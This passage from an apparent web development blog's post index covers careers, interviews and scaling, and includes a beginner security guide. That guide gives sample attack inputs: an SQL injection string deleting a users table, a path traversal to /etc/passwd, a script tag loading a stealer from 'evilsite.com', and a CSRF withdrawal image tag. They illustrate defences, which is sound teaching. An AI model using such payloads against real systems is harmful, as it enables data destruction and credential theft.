working\u0026rdquo;?\n","date":"8 October 2014","externalUrl":null,"permalink":"/advantages-hiring-remotely/","section":"Posts","summary":"With the latest news that Reddit, of all places, is now forcing all of its employees to move to San Francisco to work in their local office, or go find a new job, I again thank my lucky stars that I have the option to work remotely. It’s a great time we live in when all of the tools we need and all the collaboration we want can happen anywhere in the world at any time.\n","title":"The advantages of hiring remotely","type":"posts"},{"content":"I was browsing Quora recently and came across a question called What are the best kept secrets of great programmers?. These kinds of questions always make me cringe a little. Everyone\u0026rsquo;s always looking for secrets and shortcuts and the simple fact is, there aren\u0026rsquo;t any. There\u0026rsquo;s never just one thing that people-who-get-stuff-done know that no one else can\u0026rsquo;t figure out.\nAnd I cringe because I do it too! I wonder what all these other people putting out tutorials and stuff know that I don\u0026rsquo;t know and if I\u0026rsquo;m good enough to teach what I\u0026rsquo;m trying to teach (not in the technical part of it but in the actual teaching and learning theory part of it). I want a secret that will guarantee that I\u0026rsquo;ll succeed at this or at anything else I want to do.\nAnd there is! It\u0026rsquo;s called hard work and practice, which is why I love the (currently) top voted answer so much. He lists five things that will get you to where you want to go:\nLearn the concepts # I talk about this a lot and it\u0026rsquo;ll be the focus of my upcoming video course that I\u0026rsquo;m putting on YouTube for free. I think a lot of beginners think that they need to learn the syntax of a language, the words and functions that will allow them to tell the computer what to do. But those don\u0026rsquo;t matter nearly as much as understanding how the programming behind it works. There\u0026rsquo;s the saying Give someone a fish and they eat for a day. Teach someone to fish and they eat for a lifetime. Same is true here. I could show you exactly what to do to solve a certain programming problem right now, but you\u0026rsquo;ll be just as confused the next time you hit a roadblock. But, if I teach you the concepts and problem solving process I go through to solve it, you can apply that to your next problem yourself. That\u0026rsquo;s what you need to learn and what I\u0026rsquo;m hoping to teach. And the key to learning it is in the doing, and we\u0026rsquo;ll be doing plenty of that as well.\nKnow the tools # This might be the only section I kind of disagree with. Yes, the tools you use to program with are important, but they\u0026rsquo;re not that important. As a beginning developer, don\u0026rsquo;t focus on the tools first.\nHowever, there is one tool that is worth focusing on and it\u0026rsquo;s the number one tool you\u0026rsquo;ll be using, and that\u0026rsquo;s your brain. It took me a long time to get the importance of understanding how my brain solves problems and now that I do, I am way more productive than I\u0026rsquo;ve ever been. Once you understand that you can\u0026rsquo;t force your brain to solve a problem, you understand how stupid it is to work 12 hour days or go on late night coding binges. Once you understand that your unconscious brain is the real problem solver, you understand the importance of taking walks and keeping a notebook with you at all times. (You will solve more complex problems in the shower than you ever will at your computer, I can guarantee that.) Once you see how certain foods and activities can make you lazy or slow, you start eating right and exercising just to make sure you can code well the next day.\nUnderstanding your tools is important, but understanding yourself is way more useful.\nManage time # This is right on and it all boils down to reserve big blocks of time for your work. You will never do anything of value in 15 minute blocks and real concentration takes at least a good 20 minutes to kick in. Give yourself the time you need to really dig into something or risk wasting a lot of time getting nowhere.\nPrioritize # This is so important, understanding what you should focus on first is vital. I\u0026rsquo;m really focusing the video course around this, because while all the concepts I\u0026rsquo;m going to teach work together to create the whole, it\u0026rsquo;s so important to take little bite-sized chunks at a time and really try to understand them. As a beginner, there\u0026rsquo;s no way you could know what order you need to learn things in, so I\u0026rsquo;ll try to lay it out for you. Knowing that order comes with experience and understanding what you\u0026rsquo;re trying to accomplish.\nReuse everything # Couldn\u0026rsquo;t be more true. Not just reusing your own code and tools, but the code and tools that have been written by the millions of developers before you.\nI like the Laravel framework because it encourages this reuse. It\u0026rsquo;s a web framework that has already been built and tested for you. Same with Ruby on Rails and Django. The way the web works isn\u0026rsquo;t changing, so take advantage of the stuff that\u0026rsquo;s already been built around it.\nKeep learning # This is one I\u0026rsquo;ve added. If you stop learning in this industry, you fall behind pretty quickly.\nI used to work with someone who refused to learn anything new. He had picked Perl as his language and that was that. I say \u0026ldquo;used to work with\u0026rdquo; because I\u0026rsquo;ve moved on from that low paying job and he\u0026rsquo;s still there. He\u0026rsquo;s a lucky one too, because most people who don\u0026rsquo;t keep up with changing technologies end up without a job one day and wonder what happened. What happened was that the technologies never stop moving, never stop improving, and, as a programmer, you need to keep improving too. You have to have this mentality, that you must constantly be improving and it really helps if you like it too.\nWant to start on the road to greatness? Focus on number one, Learn the concepts. If you work on that, you\u0026rsquo;ll do just fine.\n","date":"26 September 2014","externalUrl":null,"permalink":"/makes-great-programmer/","section":"Posts","summary":"I was browsing Quora recently and came across a question called What are the best kept secrets of great programmers?. These kinds of questions always make me cringe a little. Everyone’s always looking for secrets and shortcuts and the simple fact is, there aren’t any. There’s never just one thing that people-who-get-stuff-done know that no one else can’t figure out.\n","title":"What makes a great programmer?","type":"posts"},{"content":"","date":"9 September 2014","externalUrl":null,"permalink":"/categories/ask-away/","section":"Categories","summary":"","title":"Ask Away","type":"categories"},{"content":"I recently got an email from one of my tutoring students about how he had finished setting up an e-commerce site for his Dad\u0026rsquo;s salsa business, which was a pretty big accomplishment. But there were two things in the email that I took issue with. One was that he thought it was weird that another web dev shop had asked for $3,000 to set up a shopping cart in Spotify and the other was that he felt that using an off the shelf solution (BigCommerce) was a cop out and he should have been able to build it himself. I think everyone\u0026rsquo;s felt both those things at some point\u0026ndash;I know I have\u0026ndash;but I sent him this in response:\nI don\u0026rsquo;t think BigCommerce was a cop out at all, it solved the problem and that\u0026rsquo;s what this work is all about. You don\u0026rsquo;t have to invent everything you use or reinvent the wheel. Think more about standing on the shoulders of giants and leveraging what\u0026rsquo;s already been built. The people that hire us care about solutions, not really how we get there or how much work it is or if we use something off the shelf or built it ourselves. They care that they can now sell stuff on the internet and start making more money with a solution that you provide.\nSo, yeah, the Shopify thing does sound pricey, but it doesn\u0026rsquo;t sound crazy. If you think you can do better (and you\u0026rsquo;re definitely building the skills to do just that) start up your own little service and compete with them. If you can get someone\u0026rsquo;s products online and having them making another $5,000 a year in profits, $3,000 is nothing. And I would say that what you did is more valuable than $3,000 with the Quickbooks integration, Paypal and design. It looks great and you really rocked it out. You just learned a lot of crap that most people are happy to pay someone else to deal with. If you took the angle of setting up online stores for little businesses like your Dad\u0026rsquo;s, you could find some clients that want you to do that and they would pay, possibly a lot depending on how well you can get their products selling.\nI\u0026rsquo;m looking at this site again and what you did here is easily worth more than $3,000. My mouth is watering just looking at these pictures. Now your job is promoting this to get traffic and sales. If you can do that, you\u0026rsquo;ve just built yourself one hell of a fine resume entry and a possible freelance business in the making. This seems easy to you now and you have no idea why anyone would pay for it. This is a common ailment among us developers, but no one else has a clue how to do what you just did and they will happily pay you to do it for them.\nWhew. Sorry for the rant but I\u0026rsquo;ve been in your shoes and it\u0026rsquo;s cost me money and happiness and I don\u0026rsquo;t want you going down the same road.\nI think you\u0026rsquo;re ready to move to a new level, but I know it\u0026rsquo;s hard to see that sometimes. You\u0026rsquo;re at a stage where you can figure stuff out, even if you don\u0026rsquo;t know it off the top of your head, and that\u0026rsquo;s a powerful skill to have in this business.\nThis blog is sort of centered around the web development business and we need to keep in mind that learning to program is just a piece of that. There\u0026rsquo;s so much involved in this business that trying to learn it all at once will just leave you frustrated. If you can find a niche like the one my student did and go after it, the learning will come because now you\u0026rsquo;ll be motivated by helping other people\u0026ndash;and motivated by the money they\u0026rsquo;re paying you\u0026ndash;while you continue to hone your skills. You don\u0026rsquo;t need to learn it all at once, just learn enough to get you started in the right direction. That\u0026rsquo;s the path to profitable programming.\nHave a question for me? I\u0026rsquo;d love to answer it for you. Send me an email, I read every one.\n","date":"9 September 2014","externalUrl":null,"permalink":"/ask-away-judging-skills/","section":"Posts","summary":"I recently got an email from one of my tutoring students about how he had finished setting up an e-commerce site for his Dad’s salsa business, which was a pretty big accomplishment. But there were two things in the email that I took issue with. One was that he thought it was weird that another web dev shop had asked for $3,000 to set up a shopping cart in Spotify and the other was that he felt that using an off the shelf solution (BigCommerce) was a cop out and he should have been able to build it himself. I think everyone’s felt both those things at some point–I know I have–but I sent him this in response:\n","title":"Ask Away: Judging Your Skills","type":"posts"},{"content":"","date":"9 September 2014","externalUrl":null,"permalink":"/categories/domain-knowledge/","section":"Categories","summary":"","title":"Domain Knowledge","type":"categories"},{"content":" The dreaded technical interview. The bane of any programmer that\u0026rsquo;s not sure of themselves. I\u0026rsquo;ll admit to being nervous in every interview I\u0026rsquo;ve ever been in, even though I\u0026rsquo;ve gotten an offer nine times out of ten. (I\u0026rsquo;m very good in an interview).\nI know that I typically make it worse on myself than I need to though. I get nervous over stupid stuff and flustered when I\u0026rsquo;m asked about something that I don\u0026rsquo;t feel like I know enough about. But I\u0026rsquo;ve also found that if I can focus on just a few important points, things seem to go a lot smoother.\nThere\u0026rsquo;s a great article on technical interviews from the interviewer\u0026rsquo;s perspective that has a lot of lessons for interviewees as well. I suggest you read it to see how a real interview should go.\nOf course, no technical interview will ever go like that. All of the mistakes that he lists are exactly right and it may put you at a disadvantage if you don\u0026rsquo;t interview well. But I\u0026rsquo;ve learned a lot through all of my interviews and this is rule number one:\nThe interview is there for you to convince the hiring manager you can do the job.\nYes, yes. Captain obvious, I know. But many people seem to forget this fact and, even more interestingly, the person doing the interview seems to forget this fact sometimes, especially if they\u0026rsquo;re technical and want to ask all the complicated Shortest Path questions.\nBut here\u0026rsquo;s the secret, most of the interview doesn\u0026rsquo;t even matter, especially the technical part of it. What really matters is what I said above, you need to convince the manager that you can do the Real Job he\u0026rsquo;s looking for you to do. Here\u0026rsquo;s how:\nFigure out what the Real Job is as quickly as possible. # You won\u0026rsquo;t find this in the job description or from the HR people.\nJob descriptions are typically generic lists of skills (many of which you probably don\u0026rsquo;t even need) and a vague, useless description of what the job might be. It does not tell you what you\u0026rsquo;ll really be doing or, more importantly, what your manager will need you to be doing. Job descriptions should be used as a general guideline for the skills you\u0026rsquo;ll need to have (or need to acquire) in order to apply for the job.\nHR has no idea what the job will entail. After you send in your resume, they will probably want a phone interview. This phone interview is only there for you to reiterate what is already on your resume and convince a person that has no idea about technology that you aren\u0026rsquo;t trying to trick them. HR\u0026rsquo;s only goal is to make sure that if they bring you in for an interview, it won\u0026rsquo;t make them look like an idiot.\nSo when do you figure out what the Real Job is? When you\u0026rsquo;re talking with the actual person looking to hire you. This could be the manager or the technical team lead of the group that you\u0026rsquo;re looking to join, usually both. They\u0026rsquo;re going to start asking you some generic questions that they ask everyone. At this stage, it is now your task to derail this interview from their generic questions and get them talking about their problems. These problems are the Real Job.\nFigure out the Real Job and then explain how you can solve it. # They probably won\u0026rsquo;t be forth coming with this information, so ask questions. Nothing will make you look better in an interview than asking questions about the job. Why are they looking to hire now? What kind of project are they working on? Who will be the users of this project when it\u0026rsquo;s done and what are they\u0026rsquo;re problems?\nDon\u0026rsquo;t think it makes you look presumptuous or nosy, it makes you look interested and knowledgeable. Always try to direct the conversation to figuring out what they need help with. The more they talk about themselves, the closer you\u0026rsquo;ll get to figuring out what they need and where you fit in.\nTry to match past experience with the Real Job. # There is typically one central reason that they decided to try and hire now. Do they need another developer to put on a project to get it done sooner? Explain how you\u0026rsquo;re a quick learner and what you learned in the past quickly to get something done. Are they looking for someone to help them transition to a new tech platform? Explain how you know that platform and how you taught it to others to get them up to speed. Start answering all of their questions in the frame of what they\u0026rsquo;re current problems are. Craft your past experience in terms of solving problems just like theirs.\nYou\u0026rsquo;ll notice that I didn\u0026rsquo;t even talk about the actual technical aspects of a tech interview and that\u0026rsquo;s because they aren\u0026rsquo;t that important. If you don\u0026rsquo;t impress the tech heads in the interview, but you blow away the manager that has the actual power to hire you, they will probably hire you. Solving problems is important, knowing the difference between a bubble sort and a whatever sort is not (I honestly can\u0026rsquo;t think of another kind of sort off the top of my head because it\u0026rsquo;s not important!) Show them that you\u0026rsquo;re inquisitive, personable and is someone looking to solve problems, and you\u0026rsquo;ll probably be at the top of the list for the job.\nSkills can be learned and details can be Googled, but gumption is rare and the people hiring know it.\n","date":"1 September 2014","externalUrl":null,"permalink":"/ace-interview/","section":"Posts","summary":" The dreaded technical interview. The bane of any programmer that’s not sure of themselves. I’ll admit to being nervous in every interview I’ve ever been in, even though I’ve gotten an offer nine times out of ten. (I’m very good in an interview).\n","title":"How to ace that technical interview","type":"posts"},{"content":"When it comes to web application security, there are a class of things that every web developer should know. Trust me, you need to learn these and you\u0026rsquo;ll use them on every project you do. Interviewers ask about this stuff, so learn about them and how to handle them in whatever language you\u0026rsquo;re using.\nSSL - Secure Sockets Layer # This is one of the basic building blocks of the modern web.\nThe Problem # All traffic on the internet is, by default, unencrypted. That means any one can read anything as it travels through the internet and, more importantly, over most public WiFi signals.\nThe Solution # There is a way to scramble all communication between your server and your user\u0026rsquo;s browser and that\u0026rsquo;s by using Secure Sockets Layer, or SSL. SSL is something that has been added onto standard HTTP and is signified by web addresses that start with https:// .\nTo use it on your own site, you\u0026rsquo;ll need to buy an SSL certificate, but they can be a little complicated to install the first time you do it.\nBut do you really need it if you\u0026rsquo;re not handing sensitive information like credit cards and user\u0026rsquo;s addresses? Short answer is, yes. As I said above, most public access points aren\u0026rsquo;t encrypted and if your site is also not encrypted, that means that all information is flying over the radio waves for everyone to see. If your site isn\u0026rsquo;t using SSL, you might as well assume that all passwords and logins are public knowledge.\nMost hosting providers have step by step instructions for getting an SSL certificate for your site. If you have any kind of \u0026ldquo;real\u0026rdquo; application that you want to run, plan on doing this.\nIf you have logins, use SSL.\nSQL Injection # You can get a good run down on this on Wikipedia, but at its core, it\u0026rsquo;s about taking something that the user enters into your application and using in a database call without checking to see if they\u0026rsquo;re doing anything sneaky.\nThe Problem # The SQL language that most databases use, like MySQL, is vulnerable in a number of ways if data entered by a user is not handled properly. This can sometimes be figured out by accident, but it\u0026rsquo;s most often crafted by an attacker to do something malicious.\nImagine you have the following SQL statement in a Ruby program:\nquery = \u0026quot;SELECT * FROM USERS WHERE last_name='\u0026quot; + input.last_name + \u0026quot;';\u0026quot;\nIf the user filled in the last_name field on a web form as \u0026ldquo;White\u0026rdquo;, then the resulting SQL would be:\nSELECT * FROM USERS WHERE last_name='White';\nWhich would be fine. But what if the user was searching for \u0026ldquo;O\u0026rsquo;Donnell\u0026rdquo;?\nSELECT * FROM USERS WHERE last_name='O'Donnell';\nDue to the quotes not matching up, this will throw an error and crash your application. Bad news.\nHere\u0026rsquo;s the worse news: Nothing would stop a user from entering ';DELETE FROM USERS WHERE '1'='1 , which would give us this:\nSELECT * FROM USERS WHERE last_name='';DELETE FROM USERS WHERE '1'='1';\nAnd delete our entire database.\nSolution # I think the easiest solution to this is Don\u0026rsquo;t build your SQL statements. As a beginner, you should be using the ORM that\u0026rsquo;s built into your web framework at all times. The biggest security problems come up when you\u0026rsquo;re crossing from one language into another (like Ruby to SQL) and there\u0026rsquo;s always a lot you have to worry about. Using the framework lets you use all the work from hundreds of other people that already came before you and know what they\u0026rsquo;re doing.\nUse your framework\u0026rsquo;s ORM and don\u0026rsquo;t build SQL yourself.\nFile Path Injection # Here\u0026rsquo;s another injection problem, but this one happens when you\u0026rsquo;re working in the file system. I just solved a problem like this for one of my students today.\nProblem # There may be times when you want to save a file in your application or allow the user to load a file in the application. You could take the file name from the user with something like this:\nNew File PDF Another XLS And then open it to send its contents to the user:\nfile = File.open('/var/www/files/' + + params[:filename])\nYou might think you\u0026rsquo;re safe here because the files are explicitly listed in the select box. But I could submit anything to this application by editing the HTML in Chrome or any other browser before submitting it. If I change filename to ../../../../etc/passwd and if the application isn\u0026rsquo;t handling the file paths properly, it would send me back the password file for the server. I could put in other paths to grab all of your source code or even your database.\nSolution # How to prevent this? First, make sure you really need to do something like this. There are almost always other ways to handle files rather than giving users direct access to the filenames.\nOtherwise, verify all inputs when asking for filenames. If you find a ../ in any filename you get back, the user is being malicious and you should abort the execution and send back an error message. You can also check the filename against all the files that are in the directory you are serving files from. If it doesn\u0026rsquo;t exactly match one of the filenames, then something is wrong.\nThere are many different ways to handle this and to find what you need for your language, search Google for file path injection \u0026lt;your language\u0026gt; .\nCheck filenames submitted from the user before blindly doing anything with the file.\nPCI Data Security Standards (Storing Credit Card Numbers) # There is an industry standard called PCI-DSS that defines how a retailer should store and handle credit card numbers. Breaking the rules can get your merchant account shut down and make you unable to take credit cards on your site, let alone set you up to be hacked and all of your customers\u0026rsquo; data stolen.\nThe Problem # Many developers think that if their database has a password, then everything stored in that database is safe from prying eyes. This is very far from the truth. If a hacker is able to get on your servers, through your fault or not, everything in your database is potentially viewable by them.\nFor this reason, and because of a large number of security breaches over the years, the credit card companies started the Payment Card Industry Data Security Standard (PCI DSS). This is a laundry list of security precautions\u0026ndash;both in the program and physically at whatever data center the app is running\u0026ndash;everyone has to take if they want to store credit card information. You also have to submit to regular audits of both your physical location and your website\u0026rsquo;s and network\u0026rsquo;s security. Needless to say, it\u0026rsquo;s a pain in the ass.\nThe Solution # Don\u0026rsquo;t store credit card information in your application.\nThis might seem out of the question for a lot of applications, but it\u0026rsquo;s really not. There are a number of third party payment processors you can use to handle these kinds of payment details for you. The most famous is PayPal, but you could also use Stripe or a number of other companies. The key is, outsource this stuff. You\u0026rsquo;ll be paying a little bit in fees, but the penalty for trying to do it yourself and failing could be jail time.\nLet a payment processor store your customers\u0026rsquo; credit card details.\nXSS - Cross Site Scripting # Cross Site Scripting is when an attacker is able to put JavaScript on your site that is designed to steal information from your users and send it to the attacker\u0026rsquo;s database.\nThe Problem # In most web applications, we\u0026rsquo;re looking to take input from the user of the application and then show it back to them in some useful way. Whether that\u0026rsquo;s a status update, a picture or a blog post comment, if our app doesn\u0026rsquo;t do some type of interaction, it\u0026rsquo;s kind of worthless.\nWell, not everyone out there plays nice. If I\u0026rsquo;m taking user input and putting it right into my HTML page, a user could just as easily add HTML to the input.\nWelcome back, \u0026lt;?php echo $name ?\u0026gt;.\nIf $name here is Joe , then this will just print Welcome back, Joe. and everyone will be happy.\nBut if $name is Joe\u0026lt;script src=\u0026quot;//evilsite.com/steal_login.js\u0026quot;\u0026gt; , now we\u0026rsquo;ve got some trouble. Since there\u0026rsquo;s a script tag in the input, if we print that right out to the browser, the browser will load that JavaScript file from the other site. And since JavaScript has full control over all of the other HTML, an attacker could rewrite the site with their own content or redirect all login forms to their own server.\nThis used to be a big problem for banks back in the day. Someone would rewrite their login page to send off to an attacker\u0026rsquo;s server. When the attacker got the login and password information, they would login, change the password and proceed to send all of account\u0026rsquo;s money offshore.\nThe main way around this is to \u0026ldquo;sanitize\u0026rdquo; everything a user submits, effectively removing all HTML from input that you don\u0026rsquo;t want shown.\nThe Solution # Don\u0026rsquo;t try to sanitize output yourself.\nAgain, there are so many angles to this and so many ways to mess this up that it\u0026rsquo;s best to leave it up to a framework. All the major frameworks out there have a templating language included to help you build your HTML pages. Use them. Again, it\u0026rsquo;s always best to use an already built solution this kind of problem because it\u0026rsquo;s very hard to do yourself and hope you covered every angle. It\u0026rsquo;s just not worth the time since others have already figured it out and given you the tools to take care of it.\nUse the framework\u0026rsquo;s templating language and make sure everything\u0026rsquo;s sanitized.\nCSRF - Cross Site Request Forgery # Didn\u0026rsquo;t we already talk about cross site stuff? Yes, but this is a little different than cross site scripting.\nThe Problem # Cross Site Request Forgery is when a site sends a request to another website, using the victim\u0026rsquo;s own browser cookies to fake authorized access.\nFor example, I could build a website that included an image tag that contained a URL that performed an action on another website. I think the example from Wikipedia explains it best.\nThe attack works by including a link or script in a page that accesses a site to which the user is known to have been authenticated. For example, one user, Alice, might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Alice\u0026rsquo;s bank\u0026rsquo;s website, e.g.,\nMallory: Hello Alice! Look here:\n\u0026lt;img src=\u0026#34;https://bank.example.com/withdraw?account=Alice\u0026amp;amount=1000000\u0026amp;for=Mallory\u0026#34;\u0026gt; If Alice\u0026rsquo;s bank keeps her authentication information in a cookie, and if the cookie hasn\u0026rsquo;t expired, then the attempt by Alice\u0026rsquo;s browser to load the image will submit the withdrawal form with her cookie, thus authorizing a transaction without Alice\u0026rsquo;s approval.\nThe Solution # Again, the framework. Every framework out there should have what are called CSRF Tokens for submitting forms. This is the best and easiest way to handle these types of attacks. For most frameworks, you just turn that on and the framework handles all the token creation, saving, and checking for you.\nUse a framework!\nPassword Handling # Nearly every application gives the ability to login in one way or another so storing a password is a very common thing to do.\nThe Problem # As stated above, you can\u0026rsquo;t assume your database is secure in any way. If you store passwords in your database and an attacker is able to get it, they would have the login information for every single user on the site, which would also mean they have full access to everything in your application.\nThe Solution # Don\u0026rsquo;t store passwords in your database. This may sound strange to those who don\u0026rsquo;t know about hashing passwords, but most applications on the internet have no idea what your password is and if they do they are horribly insecure.\nHow could they not know what your password is? A secure application doesn\u0026rsquo;t store your password but will instead store a hash of your password. You can read a lot more about password hashing here. A hashing function is basically a repeatable way to turn some characters into gibberish without the ability to turn the gibberish back into the original words.\nWhen you change your password, the application will put your password through a hash function and get a random string of gibberish back out and store that. There\u0026rsquo;s no way to reverse that back to the original password, so how do you login? Well, when you put in your password to login, the application does that hash again and compares the resulting gibberish to what it already has. If they match, you\u0026rsquo;re good to go.\nOf course, the real answer here is to, again, use your framework. Any good framework already has this built in (or has a library you can install for it). Other people have already figured this out, so just use what they and hundreds for others have built for you.\nUse your framework when storing \u0026ldquo;passwords\u0026rdquo; in the database.\nWell, that was a lot of stuff to think about, but I hope the main thrust is clear: Learn and use a framework. I think at this point, with all the dangers that lurk out there and how much you have to learn off the bat, using a framework is required. If you\u0026rsquo;re not doing super custom stuff, there\u0026rsquo;s really no excuse not to. Pick a framework and learn it and most of this stuff stops being a problem.\nIf you have any questions at all about this, just let me know and I\u0026rsquo;ll answer them for you.\nReferences # Top 10 2013-Top 10 - OWASP Saving credit card information in MySQL database? - Stack Overflow Ruby on Rails Security Guide - Even more things to worry about listed here ","date":"15 May 2014","externalUrl":null,"permalink":"/security-topics-every-web-developer-needs-know/","section":"Posts","summary":"When it comes to web application security, there are a class of things that every web developer should know. Trust me, you need to learn these and you’ll use them on every project you do. Interviewers ask about this stuff, so learn about them and how to handle them in whatever language you’re using.\n","title":"Security topics every web developer needs to know","type":"posts"},{"content":"Welcome to Ask Away where I answer some of the questions sent to me or found on the web. Today\u0026rsquo;s question comes from a comment on one of my Reddit threads that I answered recently about language selection for high performance:\nNakedHowler: I\u0026rsquo;m thinking about creating an app that hopefully one day will have tons of people using it. My problem is should I learn Python and Django or just stick with PHP and advance further to learn Laravel? I want this app to be like Instagram, or something like imgur but better.\nwat do ?\nWhen talking about scaling at that level, the real discussion is on server architecture, not programming language. Programming language performance differences at that point are trivial compared to the massive amount of processing and storage needs you\u0026rsquo;ll run into. You\u0026rsquo;ll need to worry about spinning up multiple servers with multiple databases, not the fact that with this language you\u0026rsquo;d only need 20 servers but with this other language you\u0026rsquo;ll need 21.\nSo if you know PHP (and yes, learn Laravel or a similar framework), go with it. In fact, imgur is built with PHP, Wikipedia is built with PHP and even Facebook is built with PHP and they don\u0026rsquo;t crash and burn from heavy usage. (Not to poke too much fun, but reddit does crash and burn from time to time and it\u0026rsquo;s written in Python.) Facebook has also released their custom runtime for PHP called HHVM that really speeds up PHP execution times, a big advance in the language.\nAt some point it will probably make sense to write some of the complex image processing code in a functional language like Scala or Erlang, but I would even recommend you not worry about that now. You\u0026rsquo;ll get to that when the time comes.\nIn the end, if large applications like Twitter and Basecamp can get Rails to scale (one of the slowest languages in most benchmark tests) then picking a language is not the important part of scaling an app up to a large amount of users.\nSo stick with what you know if you like it. If you\u0026rsquo;d rather learn Python, go for it. In the end, it won\u0026rsquo;t matter. Every popular language has a big website using it and you\u0026rsquo;ll be able to get it working too.\n","date":"11 May 2014","externalUrl":null,"permalink":"/aa-language-choice-potentially-high-traffic-site/","section":"Posts","summary":"Welcome to Ask Away where I answer some of the questions sent to me or found on the web. Today’s question comes from a comment on one of my Reddit threads that I answered recently about language selection for high performance:\n","title":"Ask Away: Language choice on a potentially high-traffic site","type":"posts"},{"content":"Welcome to \u0026ldquo;How It Started\u0026rdquo;, a feature where I talk about how different sites around the internet were built to give an idea of what\u0026rsquo;s involved in a real world web application. I hope to illustrate that some of the biggest websites today had very humble beginnings that are achievable by learning the basics of web development.\nRavelry # The first site I want to look at is Ravelry, an online knitting and crocheting community site where users can share and track projects they\u0026rsquo;re working on and talk about different topics of interest with others in the community. It currently has over 4 million registered users (one of them being my wife) and is a very popular niche site on the internet. I think this site is a great example of bringing technology to niche markets.\nWhat It Did # Ravelry has grown a lot since it was first launched in 2007. Back then, all users could do was keep track of what projects they were working on and the supplies they had to do it with. Basically, it was a very simple CRUD app for knitters. From that, it quickly added features during the beta test and has continued to expand to include a built-in forum, a knitting pattern marketplace, a database of different yarns and contests and meetups for its members.\nThe idea was originally born in 2005 and is immortalized in this blog post: Knitters! Help! From those humble beginnings, Casey Forbes and his wife didn\u0026rsquo;t get serious about it until about 2007 when Casey spent a couple of months of nights and weekends working on the site and putting out a less than 100 user beta program. Once it went invite-only, the number of requests for new members skyrocketed. By using an invite system, Casey was able to add more hardware and fix performance issues on the site incrementally while adding new users slowly over time.\nRavelry is a great case study showing that you can learn the basics to get something live and then grow your site and your skills as your users request more features.\nProgramming # Casey built Ravelry in Ruby on Rails, a language Casey wanted to learn. Casey worked a day job as a Java web coder but was getting a little sick of it and wanted to try something new. Knowing that doing is the fastest way to learning, he took the idea for Ravelry and put a site together in a few months of nights and weekends. It was a very typical CRUD app setup with Ruby on Rails connecting to a MySQL database.\nThe front-end is still very simple even today and shows that even popular sites don\u0026rsquo;t need fancy, cutting edge functionality. It\u0026rsquo;s mainly XHTML and CSS with a little bit of JavaScript for a couple of dynamic UI elements on the pages. Prototype is used to help build a lot of the functionality and handle in-page calls back to the server.\nHardware # When Ravelry was first launched, they used a single virtual server, called a VPS, or Virtual Private Server. VPSes are cheap because multiple users are on the same physical machine, but it looks to each user as if they are on their own server, which improves security and reduces downtime over a Shared Host. These servers are usually under powered for big applications, but the wonderful thing about web applications is, you can handle performance problems when they come up, not dump a bunch of money into a large infrastructure \u0026ldquo;just in case\u0026rdquo;.\nAs Casey said in an interview with Tim Bray:\nIt would have been silly and expensive for us to build out our systems before we needed them, so we started with a small VPS.\nThis carried them along until they needed something bigger. In March of 2007, they moved to a larger dedicated server and they\u0026rsquo;ve just been growing from there.\nSo What Was Involved? # Right out of the gate, Casey needed to know:\nHTML CSS JavaScript Ruby on Rails MySQL Takeaways # Casey had some web skills already, but Ruby on Rails was brand new to him. Start small and grow from there. Most of the features and high-end servers came later once they were off the ground, were getting user feedback and had raised money. Getting feedback early is important. They wanted to build a community site and you need to invite the community in to help build it. Other Sources # Ravelry - a knit and crochet community ongoing by Tim Bray · Ravelry Why Isn’t There a Site Like Raverly for Sewing? - While She Naps Ravelry in Bullet Points \u0026ndash; Code Monkey Island Moving out of the living room \u0026ndash; Code Monkey Island Knitters Crocheters - Tour ","date":"4 May 2014","externalUrl":null,"permalink":"/started-ravelry/","section":"Posts","summary":"Welcome to “How It Started”, a feature where I talk about how different sites around the internet were built to give an idea of what’s involved in a real world web application. I hope to illustrate that some of the biggest websites today had very humble beginnings that are achievable by learning the basics of web development.\n","title":"How It Started: Ravelry","type":"posts"},{"content":"Welcome to Ask Away where I answer some of the questions sent to me or found on the web. Today\u0026rsquo;s question comes from a Reddit thread that I answered recently about mobile development:\nproblemod: If a student or non-degree beginner takes a year and a half or so (or however long it takes to learn to build an app from scratch) to create a quality native app, will the skills be transferable if he/she wanted to work in web development (filling in holes in knowledge like HTML/CSS/JAVASCRIPT etc\u0026hellip;)?\nThis questions stems from my concern of being \u0026ldquo;pigeon holed\u0026rdquo; into a certain niche. As a beginner I learned most of the basics of programming with Python and now moved onto java to make something I can see and use to keep me motivated. Just worried that if I focus so much on mobile, after graduating, employers would pass on me for non mobile jobs. May be a stupid question, but thanks if anyone could clarify.\nMe: If you build a mobile app in something like PhoneGap, you\u0026rsquo;re essentially doing full stack web development. You could easily point to this and say that you\u0026rsquo;ve done web development AND mobile development once you\u0026rsquo;re done with it. It will require learning a back-end language as well as the front-end stack (HTML, CSS, Javascript) but will give you a lot of experience in two areas at once.\nproblemod: I\u0026rsquo;m actually learning java to do a native android app, but am i correct in assuming I also need to learn back-end for that as well ? I remember reading that a popular quiz game was developed with a Python and Flask back end (I started learning with Python so this would be great). I am not really interested in learning HTML, CSS, or Javascript as of now. I DO however want to learn mobile + back end.\nMe: If you\u0026rsquo;re doing native apps and need a back-end, you won\u0026rsquo;t need to learn HTML, CSS or Javascript at all.\nSome reasons you would need a back-end for a mobile app:\nIt\u0026rsquo;s social. If you\u0026rsquo;re going to be about to add friends and communicate with them in some way, there needs to be a central place where the app exchanges those messages. This will be a back-end application that sits on a web server that your mobile app will connect to. An app like Words with Friends doesn\u0026rsquo;t really have a website, but it does have a back-end system that the mobile apps connect to in order to pass moves from one player to the other players in the game. Mobile apps (99.99% of the time) don\u0026rsquo;t connect directly to each other, but instead talk through a back-end system. It\u0026rsquo;s an app for a website. Something like the Runkeeper app or the Basecamp app are an interface to an already existing web application. This would need a back-end (typically a part of the existing website) to communicate with. It needs back-end information to work. Here, I\u0026rsquo;m thinking of an app like a weather app or an RSS feed reader. These application don\u0026rsquo;t typically have their own back-end, but use a back-end provided by someone else (like the Weather Underground\u0026rsquo;s API). These kinds of apps are probably going to be the easiest for you to get started with since you can use an already built back-end and see how to use an API from your app without having to learn yet another language at this stage. I would also add that you shouldn\u0026rsquo;t be afraid of being \u0026ldquo;pigeon holed\u0026rdquo; at all when starting out. In this business, you\u0026rsquo;ll only be pigeon holed if you want to be pigeon holed. I\u0026rsquo;ve done web development, mobile development, and Java application development in my career because I kept learning and applying new things. You\u0026rsquo;ll only be stuck on one role if you decide to be.\nDo you have a question you want answered? Send me a message and you might be featured on Ask Away Friday.\n","date":"2 May 2014","externalUrl":null,"permalink":"/aaf-back-end-programming-mobile-development/","section":"Posts","summary":"Welcome to Ask Away where I answer some of the questions sent to me or found on the web. Today’s question comes from a 